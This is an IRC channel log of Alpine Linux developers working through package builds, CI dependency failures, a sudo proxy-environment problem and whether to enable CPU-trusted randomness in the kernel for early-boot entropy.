2019-04-23 17:05:25 <_ikke_> I had to disable the checks for elogind btw because somehow on the builders it was failing
2019-04-23 17:12:37 <_ikke_> 9Would ^ be fixed with a dependency on 'entropy' in the init script?
2019-04-23 17:12:58 <HRio> _ikke_: no this runs in global scope
2019-04-23 17:13:27 <_ikke_> Ok :)
2019-04-23 17:13:31 <HRio> the service is in default. but this variable is discovered before any services start
2019-04-23 17:14:00 <_ikke_> Ah, you are Henrik :)
2019-04-23 17:14:40 <HRio> yes thats me ;-)
2019-04-23 17:17:07 <_ikke_> I could've known :P
2019-04-23 17:54:41 <north1> ncopa:  filled https://github.com/alpinelinux/aports/pull/7233 to provide py3-pyrsistent for https://bugs.alpinelinux.org/issues/10282
2019-04-23 18:10:10 <_ikke_> Pushed
2019-04-23 18:13:52 <_ikke_> tcely: knot-resolver4 is failing on s390x as well
2019-04-23 18:14:10 <_ikke_> tcely: I guess that's why you asked about luajit
2019-04-23 18:16:35 <tcely> _ikke_: pr7231
2019-04-23 18:16:52 <_ikke_> yes, just noticed
2019-04-23 18:17:24 <_ikke_> To disable an arch where the build is failing, you don't need to bump the pkgrel
2019-04-23 20:34:13 <_ikke_> clan6 is currently blocking the builders
2019-04-23 20:34:17 <_ikke_> clang6*
2019-04-23 20:47:17 <mps> ddevault: are you online, posted reply to ML
2019-04-23 20:47:22 <ddevault> ya
2019-04-23 20:47:33 <ddevault> look at the APKBUILD
2019-04-23 20:47:35 <ddevault> seems right to me...
2019-04-23 20:47:50 <mps> also, _ikke_ told me about this issue
2019-04-23 20:48:06 <ddevault> vimdiff depends only on diffutils according to the APKBUILD
2019-04-23 20:48:15 <ddevault> nothing else sketchy in the APKBUILD
2019-04-23 20:48:21 <ddevault> am I missing something?
2019-04-23 20:48:28 <mps> did you tried to install vimdiff on edge when vim is installed
2019-04-23 20:48:34 <ddevault> yeah I can reproduce the issue
2019-04-23 20:48:39 <ddevault> but I don't know what's the cause or how to fix it
2019-04-23 20:48:53 <artok> _ikke_: how about that clang 8 ?
2019-04-23 20:49:04 <_ikke_> artok: no clue
2019-04-23 20:49:19 <mps> ok, I fixed it in my local repo but didn't posted patch because thinking to split vim a little more
2019-04-23 20:49:26 <ddevault> what's the fix?
2019-04-23 20:49:50 <artok> don't know about APKBUILD for clang, but I did have build for clang 8 using musl...
2019-04-23 20:50:08 <artok> let's see if I have time to check that...
2019-04-23 20:50:09 <mps> vimdiff subpackage hack, not right now behind working machine
2019-04-23 20:50:34 <artok> (that is, I'll spin up alpine vm right now)
2019-04-23 20:50:50 <ddevault> this package has had issues before
2019-04-23 20:50:55 <ddevault> I think the deploy got bunged up or something
2019-04-23 20:51:05 <mps> no, before there wasn't gvim
2019-04-23 20:51:12 <ddevault> I mean after I added gvim
2019-04-23 20:51:12 <mps> fix is: options="!tracedeps"
2019-04-23 20:51:17 <ddevault> this isn't the first problem that came up which doesn't make sense
2019-04-23 20:52:26 <mps> nvm, I fixed it locally but as wrote in mail I'm thinking to split it and to have in future different versions of vim
2019-04-23 20:52:51 <mps> just wanted to hear comment about my idea
2019-04-23 20:58:49 <ddevault> thanks mps
2019-04-23 21:00:25 <mps> yaw :)
2019-04-23 21:09:54 <Cogitri> So I want to bump polkit which is in main. I have to add mozjs52 for that, do I add that to testing still?
2019-04-23 21:10:05 <Cogitri> s/add/package/
2019-04-23 21:10:05 <alpine-meetbot> Cogitri meant to say: So I want to bump polkit which is in main. I have to package mozjs52 for that, do I add that to testing still?
2019-04-23 21:11:02 <mps> Cogitri: package in main cannot depend on package in testing
2019-04-23 21:11:51 <mps> so, mozjs must go in main
2019-04-23 21:12:23 <mps> or, community if the polkit move to community
2019-04-23 21:13:17 <mps> (javascript for system package, where we are heading)
2019-04-23 21:16:24 <Cogitri> Yeah, it's really not pretty
2019-04-23 21:16:45 <Cogitri> I guess I'll move mozjs52 to main then, thanks
2019-04-23 21:17:25 <mps> seems like right decision
2019-04-23 21:55:30 <north1> pr#7240 got a ci-malfunction
2019-04-23 22:13:30 <Cogitri> Are there plans to implement building in a chroot with abuild? I've already hit missing deps on CI a few times now because I already had them installed on my main system (or is one supposed to just chroot it oneself?)
2019-04-23 22:17:24 <iggy> I use docker containers to build everything
2019-04-23 22:17:57 <LucasRamage[m]> cogitri: setting up a chroot is simple, just download and extract a minimal chroot image and build from there. PRoot was just added to testing, so you could try using that too if you don't want to run as root.
2019-04-23 22:18:51 <SpaceToast> we have a thing called buildlab, but I'm not sure it's maintained or even functional
2019-04-23 22:19:27 <SpaceToast> (the docs for it on the wiki are incomplete/wip and haven't been touched since 2012, for instance)
2019-04-23 22:19:55 <Cogitri> Alright, I currently build run alpine in a chroot until I have GNOME-shell running, I'm not quite sure if stacking chroots works
2019-04-23 22:20:11 <Cogitri> Ich guess I'll have to try :)
2019-04-23 22:20:15 <SpaceToast> should work just fine
2019-04-23 22:21:02 <Cogitri> Alrighty then
2019-04-23 22:34:24 <north1> nope, buildlab seems to be broken
2019-04-23 22:56:33 <[[sroracle]]> abuild-rootbld will make a new chroot using bwrap
2019-04-23 22:57:19 <[[sroracle]]> I’ve been developing some new CI stuff that uses bwrap for Adelie but it’s been slow going because $reallife
2019-04-23 23:09:31 <north1> [[sroracle]]: nice, thanks lots
2019-04-24 01:04:16 <clandmeter> north1: yes rootbld is what you need
2019-04-24 01:04:43 <north1> clandmeter: using it with a few hiccups but great overall
2019-04-24 01:04:56 <clandmeter> Though it can cause issues from time to time
2019-04-24 01:05:10 <north1> clandmeter: yes, i hit one already
2019-04-24 01:05:17 <clandmeter> Due to restrictiveness
2019-04-24 01:05:41 <clandmeter> But i didn't bump into it much
2019-04-24 01:05:57 <clandmeter> Mostly network related
2019-04-24 01:06:21 <north1> clandmeter: yes, cargo packages needs options="net" while on CI and locally it works
2019-04-24 01:08:43 <clandmeter> CI?
2019-04-24 01:08:57 <north1> drone-cli and travis-ci on github
2019-04-24 01:09:11 <clandmeter> They don't use rootbld
2019-04-24 01:09:18 <clandmeter> Oh
2019-04-24 01:09:23 <clandmeter> I read it wrong
2019-04-24 01:09:27 <clandmeter> Ok
2019-04-24 01:59:00 <SpaceToast> hmm, semaphore locks seem to be broken in py3 for us
2019-04-24 01:59:25 <SpaceToast> reproduce by getting py3, importing multiprocessing and running `lock = multiprocessing.Lock()`
2019-04-24 01:59:29 <SpaceToast> let's see if I can find any more details
2019-04-24 02:00:03 <north1> is there an expected error message when doing it ?
2019-04-24 02:00:24 <SpaceToast> you're expecting a stack dump and "FileNotFoundError: [Errno 2] No such file or directory"
2019-04-24 02:00:34 <SpaceToast> I'm guessing it's trying to make a lockfile in a directory that doesn't eixst
2019-04-24 02:01:26 <SpaceToast> it explicitly handles FileExistsError, but not FileNotFoundError
2019-04-24 02:01:34 <SpaceToast> (synchronize.py:59)
2019-04-24 02:02:01 <north1> it returns nothing here
2019-04-24 02:02:06 <SpaceToast> interesting...
2019-04-24 02:02:11 <SpaceToast> this is on a fresh edge install
2019-04-24 02:02:32 <north1> i am using edge here, i'll update and upgrade to see if there is an py3 update
2019-04-24 02:02:40 <north1> nope.
2019-04-24 02:02:48 <SpaceToast> are you sure you're running py3?
2019-04-24 02:03:06 <SpaceToast> just reproduced it from scratch again
2019-04-24 02:03:12 <SpaceToast> main thing here is I'm running in a container
2019-04-24 02:03:16 <SpaceToast> let me see if I can reproduce in a VM
2019-04-24 02:05:14 <SpaceToast> interesting, not happening in a VM
2019-04-24 02:06:04 <SpaceToast> aha, could be /dev/shm
2019-04-24 02:07:06 <SpaceToast> yup, that did it
2019-04-24 02:07:08 <SpaceToast> ty
2019-04-24 02:13:50 <SpaceToast> ah geez, devfs has keyword -lxc
2019-04-24 06:07:16 <clandmeter> I disabled clang6 tests due to missing check dep
2019-04-24 06:49:35 <ncopa> morning
2019-04-24 06:49:55 <ncopa> Cogitri: you can do: `abuild rootbld`
2019-04-24 08:03:00 <_ikke_> Would it be an idea to disable clang6 for now? It's kind of blocking the builders
2019-04-24 08:06:42 <ncopa> let me revert the commit instead
2019-04-24 08:07:54 <_ikke_> ok
2019-04-24 08:12:26 <Cogitri> ncopa: Okie, thanks
2019-04-24 08:43:17 <tmhoang> good thing I just realized is we are having many new aport !
2019-04-24 08:45:15 <tmhoang> re: entropy init, I think maybe at some point we could consider having haveged or rng come as default package for virt release images.
2019-04-24 08:55:15 <clandmeter> Clang still fails?
2019-04-24 10:24:12 <_ikke_> clandmeter: Seems to continue now
2019-04-24 10:25:00 <Cogitri> Does CI not pick up upgraded versions of APKBUILDs? In https://github.com/alpinelinux/aports/pull/7241 it doesn't pick up the upgraded GSettings-desktop-schemas for gnome-control-center
2019-04-24 10:25:10 <Cogitri> I guess I'll make a separate PR for the former
2019-04-24 10:27:18 <_ikke_> Cogitri: There is an issue when the packages are in separate repositories
2019-04-24 10:27:50 <_ikke_> gnome-control-center is in testing, and GSettings-desktop-schemas is in community
2019-04-24 10:30:18 <Cogitri> Ah, okay, thought it'd work main->community->testing but not the other way around
2019-04-24 10:31:08 <_ikke_> This is a specific issue with abuild where packages in upstream repos are (re)built
2019-04-24 10:33:05 <_ikke_> https://github.com/alpinelinux/abuild/pull/53
2019-04-24 10:33:09 <Cogitri> Okie, thanks for the info :)
2019-04-24 14:58:58 <otlabs> hi ppl
2019-04-24 15:00:14 <otlabs> i have build a package, singularity-*.apk, it is in ~/packages/...
2019-04-24 15:00:54 <otlabs> i am installing this package with sudo apk add ~/packages/.../singularity-*.apk
2019-04-24 15:01:19 <otlabs> package has dependencies and apk tries to install them but freezes
2019-04-24 15:02:08 <otlabs> i see (1/5) Installing lz4-libs... 0%
2019-04-24 15:02:41 <otlabs> and no progress
2019-04-24 15:22:29 <ScrumpyJack> looks like you can
2019-04-24 15:22:47 <ScrumpyJack> contact the configured APK repo
2019-04-24 15:23:08 <ScrumpyJack> s/can/can'/
2019-04-24 15:23:08 <alpine-meetbot> ScrumpyJack meant to say: looks like you can'
2019-04-24 15:23:19 <ScrumpyJack> grrr - stupid keyboard
2019-04-24 15:24:04 <otlabs> the dependencies are from main/... repo
2019-04-24 15:24:46 <otlabs> i could assume that apk searches for these dependencies in my ~/packages/... repo
2019-04-24 15:25:50 <otlabs> i also have a proxy, maybe under certain conditions it is not used
2019-04-24 15:26:01 <ScrumpyJack> you
2019-04-24 15:26:05 <ScrumpyJack> arg!!
2019-04-24 15:26:10 <otlabs> i can install all these dependencies with direct apk add
2019-04-24 15:26:19 <ScrumpyJack> you'll neet to run setup-proxy
2019-04-24 15:26:47 <ScrumpyJack> yes, i
2019-04-24 15:27:36 <ScrumpyJack> right, whiched laptop
2019-04-24 15:27:43 <ScrumpyJack> switched even
2019-04-24 15:28:00 <otlabs> i have already configured with setup-proxy
2019-04-24 15:28:01 <ScrumpyJack> i think the proxy won't work with sudo
2019-04-24 15:28:10 <otlabs> ha!
2019-04-24 15:28:29 <otlabs> that could explain another problem i have
2019-04-24 15:29:00 <otlabs> sudo singularity build test.sif test.def is also failing to download base layer
2019-04-24 15:30:57 <ScrumpyJack> iirc the proxy env var gets set by exec of a script in /etc/profile.d - which doesn't happen when you sudo (but i could be wrong)
2019-04-24 15:32:29 <otlabs> ouch
2019-04-24 15:32:43 <otlabs> yep, even sudo wget www.google.com is not working
2019-04-24 15:34:40 <ScrumpyJack> what's yur shell?
2019-04-24 15:34:58 <otlabs> ash?
2019-04-24 15:35:07 <otlabs> how can i check this for sure?
2019-04-24 15:35:21 <ScrumpyJack> echo $SHELL
2019-04-24 15:35:41 <otlabs> thank you
2019-04-24 15:35:52 <otlabs>  /bin/ash
2019-04-24 15:36:54 <ScrumpyJack> not all shells load the same files when they go interactive. like csh ignores /etc/profile but bash does not. can you try in bash?
2019-04-24 15:37:37 <otlabs> i do not have bash right now, but i can install it
2019-04-24 15:37:54 <otlabs> i will need some instructions on how to switch to bash from ash
2019-04-24 15:38:05 <otlabs> just run bash?
2019-04-24 15:38:21 <ScrumpyJack> 
ACTION nods

2019-04-24 15:40:06 <otlabs> i have installed bash
2019-04-24 15:40:15 <otlabs> and run it from ash: bash
2019-04-24 15:40:28 <otlabs> echo $SHELL still reports /bin/ash
2019-04-24 15:40:37 <otlabs> and sudo wget is not working
2019-04-24 15:42:29 <otlabs> but i got .bash_history in $HOME
2019-04-24 15:42:31 <otlabs> :)
2019-04-24 15:43:53 <TBB> the $SHELL thing should work that way
2019-04-24 15:44:25 <ScrumpyJack> you could just source /etc/profile.d/* from your shell
2019-04-24 15:46:10 <otlabs> TBB: ok, thanks
2019-04-24 15:46:33 <otlabs> ScrumpyJack: run source ..., wget ... works, sudo wget ... - not
2019-04-24 15:47:24 <ScrumpyJack> yeah, to source /etc/profile and stuff you need a login shell really. sudo isn
2019-04-24 15:47:28 <ScrumpyJack> grrr
2019-04-24 15:47:38 <ScrumpyJack> sudo isn't a login shell
2019-04-24 15:47:42 <ScrumpyJack> obvs
2019-04-24 15:49:41 <otlabs> so i will have no internet with sudo for the rest of my live?
2019-04-24 15:49:46 <otlabs> 
ACTION sobbing

2019-04-24 15:50:04 <otlabs> s/live/life/
2019-04-24 15:50:04 <alpine-meetbot> otlabs meant to say: so i will have no internet with sudo for the rest of my life?
2019-04-24 15:50:34 <ScrumpyJack> source that stuff in your login shell and you
2019-04-24 15:50:39 <ScrumpyJack> ll be fine
2019-04-24 15:50:42 <ScrumpyJack> grrrrrr
2019-04-24 15:50:46 <Cogitri> otlabs: You could run `sudo -E` to keep your environment (not quite sure if I understand the problem though)
2019-04-24 15:50:55 <ScrumpyJack> a=1 ; sudo echo $a
2019-04-24 15:51:18 <ScrumpyJack> you should get 1
2019-04-24 15:51:44 <otlabs> Cogitri: worked out! thanks a lot!
2019-04-24 15:51:53 <ScrumpyJack> so if you set a http_proxy in your login shell, it will work with sudo (it
2019-04-24 15:52:00 <Cogitri> Heh, glad it works for you :)
2019-04-24 15:52:05 <ScrumpyJack> s still your env)
2019-04-24 15:52:21 <otlabs> ScrumpyJack: i got 1
2019-04-24 15:52:24 <ScrumpyJack> the ' on this keyboard is the enter key
2019-04-24 15:53:06 <mps> ScrumpyJack: because this i blocked enter in my irc client :)
2019-04-24 15:53:17 <otlabs> i think i also need httpS_proxy
2019-04-24 15:53:33 <Cogitri> otlabs: For a more permanent setup, add your proxy vars /etc/sudoers via visudo: `Default env_keep += http_proxy https_proxy` I suppose
2019-04-24 15:54:06 <otlabs> it's quite strange as some environment variables are passed with sudo and  some - not
2019-04-24 15:54:34 <otlabs> Cogitri: cool! i will! thanks!
2019-04-24 15:54:55 <otlabs> at least i can try sudo -E for now as a quick fix
2019-04-24 15:54:55 <Cogitri> otlabs: Yeah, sudo keeps some essential vars (e.g. $HOME I think)
2019-04-24 15:54:56 <ScrumpyJack> Cogitri: i don't think that will source /etc/profile* where the vars are set
2019-04-24 15:55:46 <Cogitri> ScrumyJack: No, but it'll make sure that the vars are kept. He still has to source /etc/profile with whatever shell he actually uses (but that should always be done)
2019-04-24 15:56:44 <ScrumpyJack> does ash even source anything ?
2019-04-24 15:56:57 <north1> i think ~/.profile
2019-04-24 15:57:12 <north1> or whatever the ENV var is set to
2019-04-24 16:00:29 <otlabs> ha! i also got running sudo -E singularity build ...
2019-04-24 16:00:36 <north1> alpine didn't do the gcc ABI switch ?
2019-04-24 16:00:37 <otlabs> 
ACTION feels happy

2019-04-24 16:02:22 <ScrumpyJack> ash sources /etc/profile*
2019-04-24 16:02:40 <ScrumpyJack> so your login shell should get the proxy settings
2019-04-24 16:03:45 <otlabs> right after the login i have an access to internet, wget www.google.com works as expected
2019-04-24 16:04:02 <otlabs> only sudo from this shell is failing
2019-04-24 16:04:10 <ScrumpyJack> sudo -E will preserve those settings as Cogitri suggested (i just changed my shell to test and it worked)
2019-04-24 16:04:40 <otlabs> yes, sudo -E solved 2 of my issues
2019-04-24 16:04:46 <otlabs> thank you so much!
2019-04-24 16:05:14 <ScrumpyJack> I have just noticed i have this in my rcfile sudo() { /usr/bin/sudo -E $* } :)
2019-04-24 16:05:39 <otlabs> ha! great!
2019-04-24 16:05:48 <ScrumpyJack> that's for zsh
2019-04-24 16:05:59 <ScrumpyJack> .zshrc
2019-04-24 16:06:38 <ScrumpyJack> but if you're building, you really ought not to install anything but alpine-sdk
2019-04-24 16:06:42 <otlabs> i think i can add something similar for ash
2019-04-24 16:07:40 <otlabs> but i feel that as Cogitri suggested the environment variables for proxy should be /etc/sudoers
2019-04-24 16:08:03 <otlabs> probably I will file the bug report
2019-04-24 16:10:46 <ScrumpyJack> not sure about that
2019-04-24 16:11:28 <otlabs> as a user i can use a proxy
2019-04-24 16:11:36 <otlabs> but with sudo i can not
2019-04-24 16:12:04 <otlabs> i am not sure that behavior is right
2019-04-24 16:13:05 <otlabs> at least i have 2 cases which are affected by this behavior
2019-04-24 16:13:11 <ScrumpyJack> then that would be up to you to configure sudo as it's a seperate package isn't it?
2019-04-24 16:13:41 <otlabs> sudo apk add ... is broken
2019-04-24 16:13:59 <otlabs> and sudo singularity build ... is broken
2019-04-24 16:14:22 <otlabs> and if you have no any proxy both cases will work as expected
2019-04-24 16:19:59 <ScrumpyJack> right, but i think it would be up to you to modify your sudoers file, sudo shouldn't be shipped with any env_keep
2019-04-24 17:00:13 <otlabs> maybe setup-proxy should take care of this?
2019-04-24 17:00:40 <otlabs> if you setup proxy then environment variables should be exported correctly
2019-04-24 17:21:42 <otlabs> re hi
2019-04-24 18:54:59 <kr0k0> Hi all
2019-04-24 18:55:34 <Cogitri> Hello, kr0k0
2019-04-24 18:55:35 <kr0k0> What do you think about my pull request "main/samba: upgrade to 4.10.2" (#7163)?
2019-04-24 18:56:07 <_ikke_> pr7163
2019-04-24 18:56:26 <kr0k0> Cogitri: Hi
2019-04-24 18:56:39 <_ikke_> kr0k0: the build is failing on CI
2019-04-24 18:57:07 <kr0k0> Yes -.-
2019-04-24 18:57:49 <kr0k0> On my dev system the build was successfully
2019-04-24 18:58:08 <_ikke_> Then you need to find out what's the difference
2019-04-24 18:59:59 <otlabs> _ikke_: hi! i have run several tests for singularity and the only think i had missed was the dependency on squashfs-tools, they are used during sif image creation
2019-04-24 19:00:01 <kr0k0> lmdb for ldb build is missing on CI, is strange...
2019-04-24 19:00:14 <_ikke_> otlabs: I was just looking at that PR
2019-04-24 19:00:26 <kr0k0> I have to check that
2019-04-24 19:00:40 <otlabs> _ikke_: oh, thank you!
2019-04-24 19:00:54 <_ikke_> kr0k0: do you have that installed already on your machine?
2019-04-24 19:01:09 <otlabs> _ikke_: i'll be around for any possible doubts and or comments
2019-04-24 19:02:46 <otlabs> _ikke_: i have some ideas on how to reinforce the check(), please, let me know if you consider that would be appropriate
2019-04-24 19:02:58 <kr0k0> FAIL!!! Yes and it's missing in dependency list.
2019-04-24 19:04:22 <_ikke_> otlabs: If you can improve it, that's always a good thing
2019-04-24 19:04:36 <otlabs> sure!
2019-04-24 19:04:49 <kr0k0> Thank you _ikke_!
2019-04-24 19:05:16 <_ikke_> no worry
2019-04-24 19:23:22 <_ikke_> otlabs: lmk when you updated the pr
2019-04-24 19:24:41 <kr0k0> I'm trying at the moment to fix the dependency problem, but when I add lmdb and lmdb-dev, lmdb-dev won't be installed via 'abuild deps'....
2019-04-24 19:25:12 <otlabs> _ikke_: sure
2019-04-24 19:25:14 <_ikke_> kr0k0: Did you remove them before?
2019-04-24 19:25:23 <_ikke_> otherwise if they are still installed, nothing is happening
2019-04-24 19:25:33 <kr0k0> Strange is also, that python2 gets installed, but in the APKBUILD file there is no python2 dependency
2019-04-24 19:25:45 <_ikke_> kr0k0: might be a transitive dependency
2019-04-24 19:26:59 <carton> Hello! Can I have more than one commit in pull request in aports? Or do I have to squash them to one? is it a requirement?
2019-04-24 19:28:20 <north1> one per apkbuild i think
2019-04-24 19:28:21 <_ikke_> carton: You can sure have more then one pull request, and you can have multiple commits per merge request as well. Note that if you are adding a package with dependencies, they need to be part of a single PR (but still separate commits)
2019-04-24 19:28:58 <_ikke_> There is nothing wrong with having multiple APKBUILDS in one PR if they are related to eachother
2019-04-24 19:29:13 <_ikke_> but each APKBUILD should be at least one commit
2019-04-24 19:29:16 <kr0k0> Ok, lmdb-dev gets installed. As you said, my mistake.
2019-04-24 19:31:13 <kr0k0> But about python2. When I run abuild deps, then it installs the virtual package ".makedepends-samba". Do you mean, that the python2 dep is from the old samba apk?
2019-04-24 19:31:57 <otlabs> singularity verify expects to receive 'n' and enter. how can i achive this in apkbuild?
2019-04-24 19:31:58 <_ikke_> kr0k0: I mean it could be a dependency of a dependency
2019-04-24 19:32:24 <_ikke_> otlabs: you can try expect
2019-04-24 19:32:49 <otlabs> _ikk_: ok, thanks!
2019-04-24 19:32:58 <otlabs> _ikke_: ok, thanks!
2019-04-24 19:33:43 <_ikke_> otlabs: if it's from stdin, you can also just try: printf 'n\n' | singularity verify
2019-04-24 19:34:01 <otlabs> great! thank you!
2019-04-24 19:34:17 <otlabs> i am unable to find any docs on expect in wiki
2019-04-24 19:34:28 <otlabs> could you please give an example?
2019-04-24 19:34:30 <_ikke_> expect is a third-party tool
2019-04-24 19:34:42 <otlabs> oh, ok
2019-04-24 19:34:47 <otlabs> i will use print
2019-04-24 19:34:49 <_ikke_> 1https://www.tcl.tk/man/expect5.31/expect.1.html
2019-04-24 19:35:06 <kr0k0> _ikke_: Ah, ok
2019-04-24 19:35:29 <carton> _ikke_: Thanks for info. I have two PR hanging. And I don't understand why
2019-04-24 19:36:02 <otlabs> looks like echo 'n\n' worked out too.
2019-04-24 19:36:19 <otlabs> which one is prefered? printf or  echo?
2019-04-24 19:36:24 <carton> is there any doc explaining labels?
2019-04-24 19:38:27 <north1> carton: https://wiki.alpinelinux.org/wiki/Creating_an_Alpine_package#GitHub_Tagging
2019-04-24 19:39:24 <kr0k0> _ikke_: subunit needs python2 ^^
2019-04-24 19:39:44 <_ikke_> otlabs: echo already includes the \n by default
2019-04-24 19:39:59 <_ikke_> printf is a little bit more standard
2019-04-24 19:40:15 <otlabs> thanks!
2019-04-24 20:02:11 <otlabs> _ikke_: i have updated the pr7102
2019-04-24 20:03:27 <_ikke_> alright, will look at it in a moment
2019-04-24 20:03:39 <otlabs> thanks a lot!
2019-04-24 21:04:02 <_ikke_> otlabs: I'll continue tomorrow, I'm too tired now
2019-04-24 21:04:23 <otlabs> _ikke_: sure! thank you!
2019-04-24 22:26:53 <opal> https://patchwork.alpinelinux.org/patch/4801/ -- is there a way i can reply to this or can i discuss it here? obviously dbus-dev is pulled in from makedepends, so i would assume the dbus-related issue wouldnt manifest. if it helps, i do have dbus and dbus-libs installed manually in the build environment; otherwise the build environment is relatively clean, i only install stuff related to building and
2019-04-24 22:26:54 <opal> testing, and i only removed one package requirement from dunst that was no longer required from upstream
2019-04-24 22:27:45 <opal> yeah https://github.com/dunst-project/dunst/releases/tag/v1.4.0 shows libxdg-basedir not required anymore
2019-04-24 22:28:17 <opal> suffice to say build didnt fail for me... i would assume dbus-dev pulls in dbus but maybe that should be made an explicit dependency if thats the issue?
2019-04-24 22:28:37 <opal> i admit i didnt check hard enough to deduce that
2019-04-24 22:30:24 <opal> as for https://patchwork.alpinelinux.org/patch/4788/ -- yeah im not too familiar with the package categories. i just threw it in with the rest of the qt packages; it's fine to go in testing
2019-04-24 22:30:36 <opal> apologies for that
2019-04-24 22:31:03 <opal> dunno who leonardo would be in this channel, if they are in here
2019-04-24 22:37:18 <mps> opal: I think you can subsribe to aports ML, https://alpinelinux.org/community/
2019-04-24 22:37:42 <opal> i am subscribed there; is that where patchwork grabs all its information?
2019-04-24 22:38:00 <opal> havent finished checking my mail so maybe i missed
2019-04-24 22:38:07 <opal> yeah i see now, thanks
2019-04-24 22:38:16 <north1> _ikke_: disabled tests on pr #7245 for now
2019-04-25 00:41:37 <otlabs> see you later, time to go, bye
2019-04-25 01:54:35 <north1> my python package must fetch pytest-runner which is not in the repos, should i options="net" or options="!check" ?
2019-04-25 07:35:34 <tcely> I wish algitbot showed merger as well as author.
2019-04-25 07:50:11 <mps> https://lwn.net/Articles/786066/ Dirk Hohndel in talk mentioned Alpine striping licence issue
2019-04-25 08:28:50 <kr0k0> Hi all
2019-04-25 08:29:25 <kr0k0> About pr7163
2019-04-25 08:30:26 <kr0k0> ldb build doesn't work with error: ">>> ERROR: ldb-doc*: Missing /home/buildozer/aports/main/ldb/pkg/ldb-doc"
2019-04-25 08:31:04 <_ikke_> kr0k0: That might mean there is nothing to be put in a -doc subpackage
2019-04-25 08:31:49 <_ikke_> n/m
2019-04-25 08:32:11 <kr0k0> That seems strange to me, because the default doc funtion takes all from /usr/share/{doc,man,info,html,sgml,licenses,gtk-doc,ri,help}
2019-04-25 08:32:18 <kr0k0> Locally it does work.....
2019-04-25 08:34:19 <kr0k0> _ikke_: That can't be a difference from build environment or?
2019-04-25 08:42:16 <mps> rnalrd: if you have some spare time please look https://patchwork.alpinelinux.org/patch/4818/ which fixes vimdiff dependency on gvim in edge
2019-04-25 08:46:20 <rnalrd> k
2019-04-25 08:49:15 <mps> I'm looking on zathura upgrade, site is inaccessible last week, but they have gitlab repo https://git.pwmt.org/pwmt/zathura. Should I change url to this one which works
2019-04-25 08:50:10 <mps> ofc, I think I should, but ask if someone have objection
2019-04-25 09:02:00 <_ikke_> kr0k0: Just tested on my build system, and I get the same error
2019-04-25 09:02:03 <_ikke_> so it's an environment issue
2019-04-25 09:02:30 <kr0k0> _ikke_: wtf, thank you so much!
2019-04-25 09:02:53 <_ikke_> kr0k0: Try to have a dedicated build environment where you have installed as little as possible
2019-04-25 09:03:05 <_ikke_> That helps in catching these kind of issues earlier
2019-04-25 10:09:40 <kr0k0> _ikke_: Yes, this is the better way. I have now the same error -.-
2019-04-25 10:48:01 <_ikke_> Trying to figure out why py-pandas is not generating the subpackages, causing it to be rebuilt every time
2019-04-25 10:58:59 <ncopa> im working on kernel upgrade
2019-04-25 10:59:49 <mps> nice, it has some FS fixes
2019-04-25 11:00:33 <ncopa> i think i will enable the CONFIG_RANDOM_TRUST_CPU in kernel
2019-04-25 11:01:14 <_ikke_> to fix all the entropy issues?
2019-04-25 11:01:30 <ncopa> possibly fixing them yes
2019-04-25 11:03:48 <mps> deciding to trust or not RDRAND moved from kernel developer to distributor
2019-04-25 11:04:13 <_ikke_> ncopa: Do you know what the issue with py-pandas might be? During build I see that the packages are created, but they don't end up in the repositories
2019-04-25 11:04:34 <_ikke_> ncopa: I just noticed that it sets subpkgarch='all', can that cause issues?
2019-04-25 11:05:09 <ncopa> _ikke_: will look at it in a bit
2019-04-25 11:05:12 <_ikke_> >>> py3-pandas*: Create py3-pandas-0.24.1-r0.apk
2019-04-25 11:05:18 <ncopa> re CONFIG_RANDOM_TRUST_CPU
2019-04-25 11:05:36 <ncopa> i initially disabled it because i didnt understand it
2019-04-25 11:06:23 <ncopa> talked with mort___ about it some time ago, and he consulted some crypto people at his university
2019-04-25 11:06:47 <mps> I understand your position
2019-04-25 11:06:59 <ncopa> the RDRAND will only contribute entropy to the entropy pool
2019-04-25 11:07:08 <ncopa> so it is not the only entropy source
2019-04-25 11:07:18 <mps> true
2019-04-25 11:07:34 <ncopa> and the config option will only affect early boot
2019-04-25 11:07:58 <mps> also true
2019-04-25 11:08:17 <ncopa> so if the cpu is untrusted, then will only keys generated early boot be potentially bad
2019-04-25 11:08:36 <_ikke_> ssh host keys for example?
2019-04-25 11:08:44 <ncopa> exactly
2019-04-25 11:08:49 <mps> and some crypto experts see the problem right there
2019-04-25 11:09:26 <_ikke_> The question is, where to get enough entropy from in early boot
2019-04-25 11:09:27 <mps> I don't have solution, to be honest
2019-04-25 11:09:35 <ncopa> and i think you will have the problem regardless
2019-04-25 11:09:44 <mort___> yes (aiui)
2019-04-25 11:09:46 <mort___> (hi :)
2019-04-25 11:09:51 <ncopa> hi
2019-04-25 11:09:51 <_ikke_> o/
2019-04-25 11:09:55 <SpaceToast> heya mort :)
2019-04-25 11:10:27 <SpaceToast> one thing you can do is not generate keys during early boot :)
2019-04-25 11:10:39 <ncopa> and as I understood it, the alternative solutions are not better than using a doubtful cpu
2019-04-25 11:10:43 <SpaceToast> but generally speaking, "cpu is compromised" is a lot scarier than "it might influence my RNG badly!"
2019-04-25 11:10:43 <mort___> so aiui entropy is additive so the only time it matters is (as ncopa) says if you generate keys during early boot
2019-04-25 11:10:51 <mort___> yes
2019-04-25 11:11:07 <ncopa> not generating keys during early boot is the proper solution
2019-04-25 11:11:07 <mps> deciding who will decide about trust to RDRAND vendors is not easy
2019-04-25 11:11:08 <_ikke_> mort___: THat's my understanding as well
2019-04-25 11:11:08 <mort___> if someone is concerned enough about this to not trust their CPU, they probably have other issues / solutions
2019-04-25 11:11:26 <_ikke_> ncopa: is that the entropy 'target' that hrio has implemented?
2019-04-25 11:11:31 <SpaceToast> I think I talked about it previously, but I would enable it in kernel, but leave the option to disable it on the command line (iirc)
2019-04-25 11:11:41 <mort___> (though i was amused to see at least one proposed solution online was to use the EFI provided device)
2019-04-25 11:11:53 <SpaceToast> lol
2019-04-25 11:12:26 <ncopa> so i think the only sane thing to do is to enable the CONFIG_RANDOM_TRUST_CPU
2019-04-25 11:12:40 <mort___> SpaceToast: yes afaics there was always an option to disable it on command line anyway; i didn't spend a long time trying to trace the code but i wasn't entirely clear what value the additional patches about CONFIG_RANDOM_TRUST_CPU  had really added
2019-04-25 11:12:55 <SpaceToast> probably a "default" toggle in the conf
2019-04-25 11:13:01 <SpaceToast> it's been a while since I've looked at it too
2019-04-25 11:13:06 <ncopa> if you are really worried about it then 1) you probably have a bigger problem 2) have 2 different ways to disable it as a boot option
2019-04-25 11:13:15 <mort___> +1 :)
2019-04-25 11:14:04 <SpaceToast> aye; it'd be important to document that we do boot like that by default, but that's my concern ^^
